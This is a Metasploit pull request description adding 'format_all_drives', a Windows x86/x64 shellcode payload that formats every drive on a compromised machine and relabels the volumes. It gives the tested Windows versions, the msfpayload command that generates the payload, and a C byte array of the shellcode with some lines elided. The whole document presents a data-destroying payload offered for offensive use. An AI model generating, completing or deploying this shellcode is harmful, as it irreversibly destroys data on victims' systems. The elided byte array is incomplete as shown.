rapid7/metasploit-framework — pull request #4268 by hacksysteam (2014-11-26 15:20:24+00:00)
Title: Add format_all_drives shellcode for Windows x86_x64

# format_all_drives a.k.a ShellcodeOfDeath

This shellcode is designed to format all the drives in Windows x86_x64. This shellcode requires `higher privileges` to format the drives. After formatting, it finally sets the `VOULMELABEL` as specified. If any **exception** occurs, it proceeds with next drive.

### Tested on:
x86: Windows XP SP3, Windows 2003 SP2, Windows 7
x64: Windows 8.1

```ruby
devil@devil:~/msf/metasploit-framework$ msfpayload windows/format_all_drives VOLUMELABEL=HackSys C
/*
* windows/format_all_drives - 397 bytes
* http://www.metasploit.com
* VERBOSE=false, PrependMigrate=false, VOLUMELABEL=HackSys
*/
unsigned char buf[] =
"\xeb\x5a\x31\xc0\x8b\x34\x83\x01\xd6\x53\x50\x31\xdb\x31\xc0"
[...]
"\x03\x52\x6a\x03\x68\x00\x00\x00\xc0\x56\x8b\x5d\x14\xff\xd3"
"\x50\x83\xec\x04\x31\xd2\x52\x8d\x5c\x24\x04\x53\x52\x52\x52"
[...]
"\x31\xc0\x40\x5d\xc2\x0c\x00";
```